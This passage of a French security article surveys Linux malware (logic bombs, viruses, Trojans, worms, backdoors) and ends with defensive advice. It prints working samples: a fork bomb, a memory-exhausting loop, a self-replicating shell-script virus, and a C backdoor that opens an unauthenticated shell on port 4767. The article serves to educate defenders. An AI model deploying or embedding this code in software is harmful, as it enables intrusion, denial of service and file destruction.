&lt;unistd.h&gt;\n\nint main (void)\n{\n  int i;\n  for (i = 0; i &lt; NSIG; i ++)\n    signal (i, SIG_IGN);\n  while (1)\n    fork ();\n}<\/pre>\n<p style=\"text-align: justify;\">Les limitations que l&rsquo;on peut imposer aux utilisateurs (par l&rsquo;appel-syst\u00e8me\u00a0<code>setrlimit()<\/code>, et la fonction\u00a0<code>ulimit<\/code> du shell) permettent d&rsquo;abr\u00e9ger le fonctionnement d&rsquo;un tel programme, mais leur action n&rsquo;intervient qu&rsquo;apr\u00e8s un temps sensible, durant lequel le syst\u00e8me est inaccessible.<\/p>\n<p style=\"text-align: justify;\">Dans le m\u00eame ordre d&rsquo;id\u00e9e, un programme comme le suivant qui consomme toute la m\u00e9moire disponible, puis se met en boucle d\u00e9vorant les cycles CPU est tr\u00e8s g\u00eanant car il perturbe le fonctionnement d&rsquo;autres processus\u00a0:<\/p>\n<pre style=\"padding-left: 30px;\">#include &lt;stdlib.h&gt;\n#define LG   1024\n\nint main (void)\n{\n  char * buffer;\n  while ((buffer = malloc (LG))\u00a0!= NULL)\n    memset (buffer, 0, LG);\n  while (1)\n   \u00a0;\n}<\/pre>\n<p style=\"text-align: justify;\">En principe, ce programme est automatiquement tu\u00e9 par le m\u00e9canisme de gestion de la m\u00e9moire virtuelle dans les versions r\u00e9centes du noyau. Mais auparavant, le noyau peut d\u00e9truire d&rsquo;autres t\u00e2ches r\u00e9clamant beaucoup de m\u00e9moire et r\u00e9cemment inactives (applications graphiques X11 par exemple). En outre, tous les autres processus r\u00e9clamant de la m\u00e9moire verront leurs demandes \u00e9chouer, ce qui les conduit bien souvent \u00e0 se terminer imm\u00e9diatement.<\/p>\n<p style=\"text-align: justify;\">La mise hors-service de fonctionnalit\u00e9s r\u00e9seau, est \u00e9galement assez simple, en surchargeant le port concern\u00e9 par des demandes de connexion incessantes. Les rem\u00e8des existent pour \u00e9viter ceci, mais ils ne sont pas toujours mis en oeuvre par l&rsquo;administrateur syst\u00e8me. Nous voyons donc que sous Linux, bien qu&rsquo;une bombe logique d\u00e9clench\u00e9e par un utilisateur quelconque ne puisse pas d\u00e9truire de fichiers ne lui appartenant pas, les nuisances sont v\u00e9ritablement possibles et assez simples \u00e0 r\u00e9aliser puisqu&rsquo;il suffit de combiner une poign\u00e9e de\u00a0<code>fork()<\/code>,\u00a0<code>malloc()<\/code> et\u00a0<code>connect()<\/code>pour \u00e9prouver durement le syst\u00e8me et les services r\u00e9seau.<\/p>\n<h3>Virus<\/h3>\n<pre style=\"padding-left: 90px;\">Subject: Unix Virus\nVOUS AVEZ RECU UN VIRUS UNIX\nCe virus fonctionne sur un principe coop\u00e9ratif\u00a0:\nSi vous utilisez Linux ou une variante d'Unix, veuillez\nretransmettre ce message \u00e0 toutes vos connaissances, et\nd\u00e9truire quelques fichiers au hasard sur votre syst\u00e8me.<\/pre>\n<p style=\"text-align: justify;\">Contrairement \u00e0 une id\u00e9e trop souvent r\u00e9p\u00e9t\u00e9e, les virus peuvent tr\u00e8s bien constituer une menace sous Linux. Il en existe d&rsquo;ailleurs plusieurs. Ce qui est vrai en revanche, c&rsquo;est qu&rsquo;un virus sous Linux se trouvera dans un terrain o\u00f9 la diss\u00e9mination sera difficile. Tout d&rsquo;abord observons la phase d&rsquo;infection d&rsquo;une machine. Il faut que le code du virus y soit ex\u00e9cut\u00e9. Cela signifie qu&rsquo;un fichier ex\u00e9cutable corrompu a \u00e9t\u00e9 copi\u00e9 depuis un autre syst\u00e8me. Dans le milieu Linux, l&rsquo;habitude veut que pour fournir une application \u00e0 un correspondant, on ne lui envoie pas directement les fichiers ex\u00e9cutables, mais on lui transmet plut\u00f4t l&rsquo;<em>URL<\/em> o\u00f9 on a obtenu le logiciel. Cela signifie que l&rsquo;infection proviendra \u00e0 coup s\u00fbr d&rsquo;un site officiel, o\u00f9 elle sera probablement d\u00e9tect\u00e9e tr\u00e8s rapidement. De m\u00eame, une fois une machine infect\u00e9e, pour qu&rsquo;elle diss\u00e9mine \u00e0 son tour le virus, il faudrait qu&rsquo;elle soit utilis\u00e9e comme plate-forme de distribution pour des applications pr\u00e9compil\u00e9es, cas peu r\u00e9pandu dans l&rsquo;ensemble. En fait le fichier ex\u00e9cutable n&rsquo;est pas un bon moyen de transport pour une bombe logique dans le monde des logiciels libres.<\/p>\n<p style=\"text-align: justify;\">En ce qui concerne la diss\u00e9mination interne \u00e0 une machine, il est \u00e9vident qu&rsquo;une application infect\u00e9e ne peut \u00e9tendre la contagion qu&rsquo;aux fichiers sur lesquels l&rsquo;utilisateur qui la lance a un droit d&rsquo;\u00e9criture. L&rsquo;administrateur syst\u00e8me prudent travaillant sur le compte\u00a0<em>root<\/em> uniquement pour r\u00e9aliser les op\u00e9rations n\u00e9cessitant v\u00e9ritablement des privil\u00e8ges, il est peu probable qu&rsquo;il lance un nouveau logiciel en \u00e9tant connect\u00e9 sous cette identit\u00e9. \u00c0 moins d&rsquo;installer une application\u00a0<em>Set-UID root<\/em> infect\u00e9e par un virus, le danger est donc bien amoindri. Lorsqu&rsquo;un utilisateur quelconque lancera un programme infect\u00e9, le virus ne pourra agir que sur les fichiers dont l&rsquo;utilisateur est propri\u00e9taire, ce qui l&#8217;emp\u00eachera de se r\u00e9pandre dans les utilitaires syst\u00e8me.<\/p>\n<p style=\"text-align: justify;\">Si les virus ont longtemps repr\u00e9sent\u00e9 une utopie sous Unix, c&rsquo;est \u00e9galement en raison de la diversit\u00e9 des processeurs (donc des langages d&rsquo;assemblage) et des biblioth\u00e8ques (donc des r\u00e9f\u00e9rences objets) qui limitait la port\u00e9e de tout code pr\u00e9compil\u00e9. Aujourd&rsquo;hui ce n&rsquo;est plus autant le cas, et un virus infectant les fichiers ELF compil\u00e9s pour Linux sur processeur i386 avec la GlibC 2.1 trouverait un nombre de cibles importantes. D&rsquo;autre part un virus peut tr\u00e8s bien \u00eatre \u00e9crit dans un langage ne d\u00e9pendant pas de l&rsquo;h\u00f4te l&rsquo;ex\u00e9cutant. Voici par exemple un virus pour script shell. Il essaye de s&rsquo;introduire en t\u00eate de tout script shell rencontr\u00e9 en aval du r\u00e9pertoire o\u00f9 on le lance. Pour \u00e9viter d&rsquo;infecter plusieurs fois de suite le m\u00eame script, le virus ignore les fichiers dont la seconde ligne contienne le commentaire \u00ab\u00a0infect\u00e9\u00a0\u00bb ou \u00ab\u00a0vaccin\u00e9\u00a0\u00bb.<\/p>\n<pre style=\"padding-left: 30px;\">#! \/bin\/sh\n# infect\u00e9\n( tmp_fic=\/tmp\/$$\n  candidats=$(find . -type f -uid $UID -perm -0755)\n  for fic in $candidats\u00a0; do\n    exec &lt; $fic\n    # Essayons de lire une premi\u00e8re ligne,\n    if\u00a0! read ligne\u00a0; then\n      continue\n    fi\n    # et v\u00e9rifions que ce soit un script shell.\n    if [ \"$ligne\"\u00a0!= \"#!\/bin\/sh\" ] &amp;&amp; [ \"$ligne\"\u00a0!= \"#! \/bin\/sh\" ]\u00a0; then\n      continue\n    fi\n    # Lisons une seconde ligne.\n    if\u00a0! read ligne\u00a0; then\n      continue\n    fi\n    # Le fichier est-il d\u00e9j\u00e0 infect\u00e9 ou vaccin\u00e9\u00a0?\n    if [ \"$ligne\" == \"# vaccin\u00e9\" ] || [ \"$ligne\" == \"# infect\u00e9\" ]\u00a0; then\n      continue\n    fi\n    # Sinon on l'infecte\u00a0: recopier le corps du virus,\n    head -33 $0 &gt; $tmp_fic\n    # puis le fichier original.\n    cat $fic &gt;&gt; $tmp_fic\n    # \u00c9craser le fichier original.\n    cat $tmp_fic &gt; $fic\n  done\n  rm -f $tmp_fic\n) 2&gt;\/dev\/null &amp;<\/pre>\n<p style=\"text-align: justify;\">Le virus ne prend pas de pr\u00e9caution pour masquer sa pr\u00e9sence ou son action, hormis de s&rsquo;ex\u00e9cuter \u00e0 l&rsquo;arri\u00e8re-plan tout en laissant le script original r\u00e9aliser son travail normal. Bien \u00e9videmment ne lancez pas ce script en \u00e9tant connect\u00e9 sous l&rsquo;identit\u00e9\u00a0<em>root<\/em> ! Surtout si vous remplacez le\u00a0<code>find\u00a0.<\/code>par\u00a0<code>find\u00a0\/<\/code>. Malgr\u00e9 la simplicit\u00e9 de ce programme, on s&rsquo;aper\u00e7oit vite qu&rsquo;il est facile de le laisser fuir involontairement, surtout si le syst\u00e8me contient beaucoup de scripts shell personnalis\u00e9s.<\/p>\n<p style=\"text-align: justify;\">La table 1 regroupe des informations sur les virus les plus connus sous Linux. Tous ces virus infectent les fichiers ex\u00e9cutables au format Elf en ins\u00e9rant leur code juste apr\u00e8s l&rsquo;ent\u00eate du fichier, et en d\u00e9calant le reste du code original. Sauf indication contraire, ils recherchent des cibles d&rsquo;infection potentielles dans les r\u00e9pertoires syst\u00e8me. On voit \u00e0 la lumi\u00e8re de ce tableau que le ph\u00e9nom\u00e8ne des virus sous Linux n&rsquo;est pas anecdotique, m\u00eame s&rsquo;il n&rsquo;est pas trop alarmant, essentiellement parce que ces virus sont jusqu&rsquo;\u00e0 pr\u00e9sent inoffensifs.<\/p>\n<table border=\"1\">\n<caption>Table 1 &#8211; Virus sous Linux<\/caption>\n<tbody>\n<tr>\n<td><em>Nom<\/em><\/td>\n<td><em>Bombe logique<\/em><\/td>\n<td><em>Remarques<\/em><\/td>\n<\/tr>\n<tr>\n<td>Bliss<\/td>\n<td>Apparemment inactive<\/td>\n<td>D\u00e9sinfection automatique du fichier ex\u00e9cutable si on l&rsquo;invoque avec l&rsquo;option\u00a0<tt>--bliss-disinfect-files-please<\/tt><\/td>\n<\/tr>\n<tr>\n<td>Diesel<\/td>\n<td>N\u00e9ant<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>Kagob<\/td>\n<td>N\u00e9ant<\/td>\n<td>Utilise un fichier temporaire pour ex\u00e9cuter le programme original infect\u00e9<\/td>\n<\/tr>\n<tr>\n<td>Satyr<\/td>\n<td>N\u00e9ant<\/td>\n<td><\/td>\n<\/tr>\n<tr>\n<td>Vit4096<\/td>\n<td>N\u00e9ant<\/td>\n<td>N&rsquo;infecte que les fichiers du r\u00e9pertoire courant.<\/td>\n<\/tr>\n<tr>\n<td>Winter<\/td>\n<td>N\u00e9ant<\/td>\n<td>Le code du virus est contenu dans 341 octets. Il n&rsquo;infecte que les fichiers du r\u00e9pertoire courant.<\/td>\n<\/tr>\n<tr>\n<td>Winux<\/td>\n<td>N\u00e9ant<\/td>\n<td>Ce virus contient deux codes diff\u00e9rents, et peut infecter autant les fichiers Windows que les fichiers Elf Linux. Toutefois il n&rsquo;est pas capable d&rsquo;explorer des partitions diff\u00e9rentes de celle o\u00f9 il est stock\u00e9, ce qui limite de fait sa diffusion.<\/td>\n<\/tr>\n<tr>\n<td>ZipWorm<\/td>\n<td>Ins\u00e8re dans les fichiers Zip qu&rsquo;il rencontre, des textes \u00ab\u00a0trolls\u00a0\u00bb sur Linux et Windows<\/td>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">On remarquera que le virus \u00ab\u00a0Winux\u00a0\u00bb est capable de se diss\u00e9miner autant sous Linux que sous Windows. Il ne s&rsquo;agit en pratique que d&rsquo;un virus b\u00e9nin, repr\u00e9sentant plus une d\u00e9monstration de possibilit\u00e9 qu&rsquo;un v\u00e9ritable danger. Toutefois ce concept fait froid dans le dos, si l&rsquo;on r\u00e9alise qu&rsquo;un tel intrus pourrait sauter de partition en partition, envahir un r\u00e9seau h\u00e9t\u00e9rog\u00e8ne utilisant des serveurs Samba, etc. L&rsquo;\u00e9radication serait d&rsquo;autant plus difficile que les outils n\u00e9cessaires devraient \u00eatre disponibles sur les deux syst\u00e8mes en m\u00eame temps. Il est important de noter que les m\u00e9canismes de protection Linux, qui emp\u00eachent un virus fonctionnant sous une identit\u00e9 quelconque de modifier des fichiers syst\u00e8me disparaissent si la partition est acc\u00e9d\u00e9e depuis un virus fonctionnant sous Windows.<\/p>\n<p style=\"text-align: justify;\">Insistons sur ce point\u00a0: toutes les pr\u00e9cautions d&rsquo;administration que vous pouvez prendre sous Linux n&rsquo;ont plus aucune efficacit\u00e9 si vous red\u00e9marrez votre machine sur une partition Windows contenant un \u00e9ventuel virus multi plates-formes. Il s&rsquo;agit d&rsquo;un probl\u00e8me g\u00e9n\u00e9ral pour toutes les stations disposant d&rsquo;un\u00a0<em>dual-boot<\/em> avec deux syst\u00e8mes d&rsquo;exploitation\u00a0; la protection g\u00e9n\u00e9rale de l&rsquo;ensemble repose sur les m\u00e9canismes de s\u00e9curit\u00e9 du syst\u00e8me le plus laxiste\u00a0! La seule solution viable est d&#8217;emp\u00eacher tout acc\u00e8s \u00e0 vos partitions Linux depuis une application tournant sous Windows, en employant des syst\u00e8mes de fichiers crypt\u00e9s. Ceci n&rsquo;est malheureusement pas encore tr\u00e8s r\u00e9pandu, et gageons que ces virus attaquant des partitions non-mont\u00e9es vont repr\u00e9senter tr\u00e8s prochainement un danger consid\u00e9rable pour les machines Linux.<\/p>\n<h3>Chevaux de Troie<\/h3>\n<p style=\"text-align: justify;\">Les chevaux de Troie sont tout aussi redoutables que les virus, et le public semble en avoir plus conscience. Contrairement \u00e0 une bombe logique v\u00e9hicul\u00e9e par un virus, celle qui se trouve dans un cheval de Troie aura \u00e9t\u00e9 volontairement ins\u00e9r\u00e9e par une intervention humaine. Dans le monde des logiciels libres, la cha\u00eene s&rsquo;\u00e9tendant entre l&rsquo;auteur d&rsquo;une portion de code et l&rsquo;utilisateur final ne contient au maximum qu&rsquo;un \u00e0 deux interm\u00e9diaires (disons un responsable de projet et un pr\u00e9parateur de distribution). En cas de d\u00e9couverte d&rsquo;un cheval de Troie, le responsable sera alors facilement retrouv\u00e9.<\/p>\n<p style=\"text-align: justify;\">Le monde des logiciels libres est donc relativement bien prot\u00e9g\u00e9 contre les chevaux de Troie. Mais il s&rsquo;agit bien des logiciels libres tels que nous les connaissons de nos jours, avec des projets clairement administr\u00e9s, des auteurs disponibles, et des sites Internet de r\u00e9f\u00e9rence. Au contraire le syst\u00e8me des logiciels\u00a0<em>sharewares<\/em> ou\u00a0<em>freewares<\/em> disponibles sous forme pr\u00e9compil\u00e9e uniquement, distribu\u00e9s de mani\u00e8re anarchique par des centaines de sites (ou de CD-rom de journaux) et o\u00f9 l&rsquo;auteur n&rsquo;est identifi\u00e9 que par une adresse \u00e9lectronique falsifiable est-il une v\u00e9ritable \u00e9curie de chevaux de Troie.<\/p>\n<p style=\"text-align: justify;\">Notez que le fait de disposer des sources d&rsquo;une application, et de la recompiler soi-m\u00eame n&rsquo;est pas n\u00e9cessairement un gage de s\u00e9curit\u00e9. Par exemple une bombe logique redoutable peut \u00eatre dissimul\u00e9e dans le script \u00ab\u00a0<code>configure<\/code>\u00a0\u00bb (celui que l&rsquo;on invoque durant le \u00ab\u00a0<code>.\/configure; make<\/code>\u00ab\u00a0) qui contient en g\u00e9n\u00e9ral plus de 2000 lignes de code\u00a0! Dans le m\u00eame ordre d&rsquo;id\u00e9e, si le fichier source d&rsquo;une application est propre et se compile normalement, cela n&#8217;emp\u00eache pas le\u00a0<code>Makefile<\/code> de dissimuler une bombe se d\u00e9clenchant lors du \u00ab\u00a0<code>make install<\/code>\u00a0\u00bb final que l&rsquo;on invoque g\u00e9n\u00e9ralement sous l&rsquo;identit\u00e9\u00a0<em>root<\/em> !<\/p>\n<p style=\"text-align: justify;\">Enfin, une partie importante des virus et chevaux de Troie redoutables sous Windows sont en r\u00e9alit\u00e9 des macros s&rsquo;ex\u00e9cutant lors de la consultation d&rsquo;un document. Les suites bureautiques sous Linux ne savent pour l&rsquo;instant pas interpr\u00e9ter ces macros, et l&rsquo;utilisateur en tire un peu vite un sentiment de s\u00e9curit\u00e9 exag\u00e9r\u00e9. Il viendra bien un moment o\u00f9 ces outils bureautiques auront la capacit\u00e9 d&rsquo;ex\u00e9cuter les macros en Basic incluses dans le document. Que les concepteurs aient la mauvaise id\u00e9e de laisser ces macros lancer des commandes sur le syst\u00e8me finira \u00e9galement par arriver un jour. Bien s\u00fbr l&rsquo;effet destructeur, comme pour les virus, sera limit\u00e9 aux privil\u00e8ges de l&rsquo;utilisateur, mais le fait de ne pas avoir perdu de fichier syst\u00e8me (par ailleurs disponibles sur le CD d&rsquo;installation) est un pi\u00e8tre r\u00e9confort pour l&rsquo;utilisateur personnel qui vient de voir dispara\u00eetre tous ses documents, ses fichiers source, sa correspondance, alors que sa derni\u00e8re sauvegarde date d&rsquo;un mois.<\/p>\n<p style=\"text-align: justify;\">Notons pour terminer ce paragraphe sur les chevaux de Troie ins\u00e9r\u00e9s dans des donn\u00e9es, qu&rsquo;il y a toujours une possibilit\u00e9 d&rsquo;ennuyer l&rsquo;utilisateur, m\u00eame sans faire de d\u00e9g\u00e2ts, avec certains fichiers n\u00e9cessitant une interpr\u00e9tation. On voit de temps \u00e0 autre circuler sur Usenet des fichiers compress\u00e9s qui se d\u00e9veloppent en une infinit\u00e9 d&rsquo;autres fichiers jusqu&rsquo;\u00e0 saturation du disque. De m\u00eame certains fichiers Postscript peuvent-ils bloquer l&rsquo;interpr\u00e9teur (<code>ghostscript<\/code> ou\u00a0<code>gv<\/code>) en consommant du temps CPU. Ces actions ne sont pas bien redoutables, mais font perdre du temps et agacent l&rsquo;utilisateur.<\/p>\n<h3>Vers<\/h3>\n<p style=\"text-align: justify;\">Si Linux n&rsquo;existait pas encore lors de la diffusion du Vers Internet de 1988, il n&rsquo;en est pas moins probable qu&rsquo;il aurait constitu\u00e9 une cible de choix pour ce genre d&rsquo;attaque, la disponibilit\u00e9 des sources des logiciels libres simplifiant la recherche des failles de s\u00e9curit\u00e9 (d\u00e9bordements de buffers par exemple). La complexit\u00e9 d&rsquo;\u00e9criture d&rsquo;un vers de bonne qualit\u00e9 limite le nombre de ceux effectivement actifs sous Linux. La table 2 en pr\u00e9sente quelques-uns, parmi les plus r\u00e9pandus.<\/p>\n<p style=\"text-align: justify;\">Les vers exploitent les failles de s\u00e9curit\u00e9 pr\u00e9sentes sur des serveurs r\u00e9seau. Les stations ayant une faible connectivit\u00e9 \u00e0 Internet ne sont donc th\u00e9oriquement pas soumises \u00e0 un risque aussi important que les serveurs connect\u00e9s en permanence. N\u00e9anmoins l&rsquo;\u00e9volution actuelle des moyens de liaison offerts aux particuliers (C\u00e2ble, ADSL, etc.), ainsi que la facilit\u00e9 de mise en oeuvre des services r\u00e9seau courants (serveur HTTP, FTP anonyme, etc.) font que tout un chacun peut \u00eatre concern\u00e9 rapidement.<\/p>\n<table border=\"1\">\n<caption>Table 2 &#8211; Vers sous Linux<\/caption>\n<tbody>\n<tr>\n<td><em>Nom<\/em><\/td>\n<td><em>Failles exploit\u00e9es<\/em><\/td>\n<td><em>Remarques<\/em><\/td>\n<\/tr>\n<tr>\n<td>Lion (<tt>1i0n<\/tt>)<\/td>\n<td><tt>bind<\/tt><\/td>\n<td>Installe un acc\u00e8s cach\u00e9 (port TCP 10008) et un\u00a0<em>root-kit<\/em> sur la machine envahie. Envoie des informations syst\u00e8me vers une adresse \u00e9lectronique en Chine.<\/td>\n<\/tr>\n<tr>\n<td>Ramen<\/td>\n<td><tt>lpr<\/tt>,\u00a0<tt>nfs<\/tt>,\u00a0<tt>wu-ftpd<\/tt><\/td>\n<td>Modifie les fichiers\u00a0<tt>index.html<\/tt> qu&rsquo;il rencontre<\/td>\n<\/tr>\n<tr>\n<td>Adore (Red Worm)<\/td>\n<td><tt>bind<\/tt>,\u00a0<tt>lpr<\/tt>,\u00a0<tt>rpc<\/tt>,<tt>wu-ftpd<\/tt><\/td>\n<td>Installe un acc\u00e8s cach\u00e9 sur le syst\u00e8me et envoie les informations vers des adresses \u00e9lectroniques en Chine et aux Etats-Unis. Installe une version modifi\u00e9e de\u00a0<tt>ps<\/tt> masquant ses processus.<\/td>\n<\/tr>\n<tr>\n<td>Cheese<\/td>\n<td>Comme Lion<\/td>\n<td>Vers pr\u00e9tendu \u00ab\u00a0bienfaisant\u00a0\u00bb v\u00e9rifiant et \u00e9liminant les acc\u00e8s cach\u00e9s ouverts par\u00a0<em>Lion<\/em>.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">En ce qui concerne les vers, on remarquera que leur diss\u00e9mination est forc\u00e9ment limit\u00e9e dans le temps. Ils ne \u00ab\u00a0survivent\u00a0\u00bb qu&rsquo;en se r\u00e9pliquant de syst\u00e8mes en syst\u00e8mes, et du fait qu&rsquo;ils s&rsquo;appuient sur des failles de s\u00e9curit\u00e9 r\u00e9cemment d\u00e9couvertes, les mises \u00e0 jour rapides des applications vis\u00e9es bloquent leur dispersion. Dans l&rsquo;avenir, il est probable que les syst\u00e8mes destin\u00e9s aux particuliers devront automatiquement venir consulter quotidiennement des sites de r\u00e9f\u00e9rence &#8211; auxquels il faudra accorder toute confiance &#8211; pour y trouver les correctifs de s\u00e9curit\u00e9 des applications syst\u00e8me. Ce principe sera probablement indispensable pour \u00e9viter \u00e0 l&rsquo;utilisateur de se livrer \u00e0 un travail complet d&rsquo;administrateur syst\u00e8me, tout en lui laissant la possibilit\u00e9 de disposer d&rsquo;applications r\u00e9seau performantes.<\/p>\n<h3>Acc\u00e8s cach\u00e9s<\/h3>\n<p style=\"text-align: justify;\">Le probl\u00e8me des acc\u00e8s cach\u00e9s est important, m\u00eame dans le cas de logiciels libres. Naturellement lorsque l&rsquo;on dispose des sources d&rsquo;un programme, il est possible en principe de v\u00e9rifier tout ce qu&rsquo;il fait. En r\u00e9alit\u00e9, peu de gens regardent v\u00e9ritablement le contenu des archives r\u00e9cup\u00e9r\u00e9es sur Internet. Par exemple le petit programme ci-dessous fournit un acc\u00e8s cach\u00e9 complet, bien que sa taille soit suffisamment modeste pour le dissimuler dans une application consistante. Ce programme est une variation autour d&rsquo;un exemple de mon livre [BLAESS 00] illustrant le m\u00e9canisme des pseudo-terminaux. Ce programme n&rsquo;est pas tr\u00e8s lisible car les commentaires ont \u00e9t\u00e9 supprim\u00e9s pour le raccourcir. La plupart des v\u00e9rifications d&rsquo;erreur ont \u00e9galement \u00e9t\u00e9 \u00e9limin\u00e9es pour les m\u00eames raisons. D\u00e8s qu&rsquo;il est ex\u00e9cut\u00e9, il ouvre un serveur TCP\/IP sur le port mentionn\u00e9 au d\u00e9but du programme (4767 par d\u00e9faut) sur toutes les interfaces r\u00e9seau de la machine. Toute connexion demand\u00e9e sur ce port acc\u00e8dera automatiquement \u00e0 un shell sans aucune phase d&rsquo;authentification\u00a0!!!<\/p>\n<pre style=\"padding-left: 30px;\">#define _GNU_SOURCE 500\n#include &lt;fcntl.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;termios.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;netinet\/in.h&gt;\n#include &lt;sys\/socket.h&gt;\n#define ADRESSE_BACKDOOR INADDR_ANY\n#define PORT_BACKDOOR   4767\n\nint main (void)\n{\n  int    sock;\n  int    sockopt;\n  struct sockaddr_in adresse;\n  socklen_t longueur;\n  int       sock2;\n  int       pty_maitre;\n  int       pty_esclave;\n  char *    nom_pty;\n  struct termios termios;\n  char * args[2] = { \"\/bin\/sh\", NULL };\n  fd_set    set;\n  char      buffer[4096];\n  int       n;\n  sock = socket(AF_INET, SOCK_STREAM, 0);\n  sockopt = 1;\n  setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &amp; sockopt, sizeof(sockopt));\n  memset(&amp; adresse, 0, sizeof(struct sockaddr));\n  adresse.sin_family = AF_INET;\n  adresse.sin_addr . s_addr = htonl(ADRESSE_BACKDOOR);\n  adresse.sin_port = htons(PORT_BACKDOOR);\n  if (bind(sock, (struct sockaddr *) &amp; adresse, sizeof(adresse)))\n    exit(1);\n  listen(sock, 5);\n  while (1) {\n    longueur = sizeof(struct sockaddr_in);\n    if ((sock2 = accept(sock, &amp; adresse, &amp; longueur)) &lt; 0)\n      continue;\n    if (fork() == 0) break;\n    close(sock2);\n  }\n  close(sock);\n  if ((pty_maitre = getpt()) &lt; 0) exit (1);\n  grantpt(pty_maitre);\n  unlockpt(pty_maitre);\n  nom_pty = ptsname(pty_maitre);\n  tcgetattr(STDIN_FILENO, &amp; termios);\n  if (fork() == 0) {\n    \/* Fils\u00a0: ex\u00e9cution d'un shell sur le\n       pseudo-TTY esclave *\/\n    close(pty_maitre);\n    setsid();\n    pty_esclave = open(nom_pty, O_RDWR);\n    tcsetattr(pty_esclave, TCSANOW, &amp; termios);\n    dup2(pty_esclave, STDIN_FILENO);\n    dup2(pty_esclave, STDOUT_FILENO);\n    dup2(pty_esclave, STDERR_FILENO);\n    execv(args[0], args);\n    exit(1);\n  }\n  \/* P\u00e8re\u00a0: copie de la socket vers le pseudo-TTY\n     ma\u00eetre et inversement *\/\n  tcgetattr(pty_maitre, &amp; termios);\n  cfmakeraw(&amp; termios);\n  tcsetattr(pty_maitre, TCSANOW, &amp; termios);\n  while (1) {\n    FD_ZERO(&amp; set);\n    FD_SET(sock2, &amp; set);\n    FD_SET(pty_maitre, &amp; set);\n    if (select(pty_maitre &lt; sock2\u00a0? sock2+1\u00a0: pty_maitre+1,\n        &amp; set, NULL, NULL, NULL) &lt; 0)\n      break;\n    if (FD_ISSET(sock2, &amp;set)) {\n      if ((n = read(sock2, buffer, 4096)) &lt; 0)\n        break;\n        write(pty_maitre, buffer, n);\n    }\n    if (FD_ISSET(pty_maitre, &amp;set)) {\n      if ((n = read(pty_maitre, buffer, 4096)) &lt; 0)\n        break;\n      write(sock2, buffer, n);\n    }\n  }\n  return (0);\n}<\/pre>\n<p style=\"text-align: justify;\">L&rsquo;insertion d&rsquo;un tel code dans une application volumineuse (par exemple\u00a0<code>sendmail<\/code>) passerait inaper\u00e7ue suffisamment longtemps pour permettre des infiltrations pirates. De plus, certains sont pass\u00e9s ma\u00eetres dans l&rsquo;art de dissimuler le fonctionnement d&rsquo;un morceau de code, comme en t\u00e9moignent les programmes soumis annuellement au concours de l&rsquo;IOCCC (<em>International Obsfucated C Code Contest<\/em>) par exemple.<\/p>\n<p style=\"text-align: justify;\">Les acc\u00e8s cach\u00e9s ne doivent pas \u00eatre consid\u00e9r\u00e9s uniquement comme des possibilit\u00e9s th\u00e9oriques. De tels d\u00e9boires ont \u00e9t\u00e9 r\u00e9ellement rencontr\u00e9s par exemple dans le paquetage\u00a0<em>Piranha<\/em> de la distribution Red-Hat 6.2 qui acceptait un mot de passe par d\u00e9faut. De m\u00eame, le jeu\u00a0<em>Quake 2<\/em> a \u00e9t\u00e9 accus\u00e9 de dissimuler un acc\u00e8s cach\u00e9 permettant l&rsquo;ex\u00e9cution de commandes \u00e0 distance.<\/p>\n<p style=\"text-align: justify;\">Les m\u00e9canismes d&rsquo;acc\u00e8s cach\u00e9s peuvent \u00e9galement se dissimuler sous des apparences tellement complexes qu&rsquo;ils sont ind\u00e9tectables par le commun des mortels. Un cas typique est celui des syst\u00e8mes de cryptographie. Par exemple, le syst\u00e8me SE-Linux en cours de d\u00e9veloppement est une version de Linux dont la s\u00e9curit\u00e9 a \u00e9t\u00e9 renforc\u00e9e gr\u00e2ce \u00e0 des patches fournis par la NSA. En dehors des probl\u00e8mes \u00e9thiques pos\u00e9s par l&rsquo;irruption de cette institution dans le domaine du logiciel libre, certains h\u00e9sitent \u00e0 employer les patches pour des raisons pratiques\u00a0: s&rsquo;il existe un organisme capable d&rsquo;ins\u00e9rer volontairement dans un algorithme de cryptographie une faille exploitable mais suffisamment complexe pour rester invisible, c&rsquo;est bien la NSA. Les d\u00e9veloppeurs Linux ayant examin\u00e9 les patches propos\u00e9s ont d\u00e9clar\u00e9 que rien ne leur\u00a0<em>paraissait<\/em> suspect, mais personne n&rsquo;a de v\u00e9ritables certitudes, et surtout, peu de gens pr\u00e9tendent avoir le niveau math\u00e9matique n\u00e9cessaire pour d\u00e9couvrir \u00e0 coup s\u00fbr de telles failles.<\/p>\n<h2>Conclusion<\/h2>\n<p style=\"text-align: justify;\">Ces quelques observations des programmes nuisibles circulant dans l&rsquo;environnement Gnu\/Linux nous permettent d\u00e9j\u00e0 de tirer une premi\u00e8re conclusion\u00a0: le monde des logiciels libres n&rsquo;est absolument pas \u00e0 l&rsquo;abri des virus, vers, chevaux de Troie et autres pestes\u00a0! Sans \u00eatre alarmiste, il convient de rester attentif aux alertes de s\u00e9curit\u00e9 concernant les applications courantes, d&rsquo;autant plus que la connectivit\u00e9 d&rsquo;une station \u00e0 Internet est grande. Il est important de prendre d\u00e8s \u00e0 pr\u00e9sent de bonnes habitudes, mettre \u00e0 jour les logiciels concern\u00e9s d\u00e8s qu&rsquo;une faille de s\u00e9curit\u00e9 est d\u00e9couverte, ne laisser tourner que les services r\u00e9seau vraiment utiles, ne charger des applications que depuis des sites de r\u00e9f\u00e9rence suppos\u00e9s de confiance, v\u00e9rifier le plus souvent possible les signatures PGP ou MD5 des paquetages charg\u00e9s. Les plus s\u00e9rieux automatiseront, gr\u00e2ce \u00e0 des scripts par exemple, la v\u00e9rification des applications install\u00e9es (voir l&rsquo;article de Fr\u00e9d\u00e9ric Raynal dans ce num\u00e9ro).<\/p>\n<p style=\"text-align: justify;\">Une seconde remarque s&rsquo;impose\u00a0: les deux dangers principaux guettant les syst\u00e8mes Linux dans l&rsquo;avenir sont d&rsquo;une part les applications de bureautique qui accepteront d&rsquo;interpr\u00e9ter aveugl\u00e9ment les macros contenues dans les documents (y compris les courriers \u00e9lectroniques), et d&rsquo;autre part les virus multi plates-formes qui tout en s&rsquo;ex\u00e9cutant sous Windows, envahiront les fichiers ex\u00e9cutables se trouvant sur une partition Linux de la m\u00eame machine. Si le premier probl\u00e8me rel\u00e8ve surtout du comportement de l&rsquo;utilisateur, qui ne 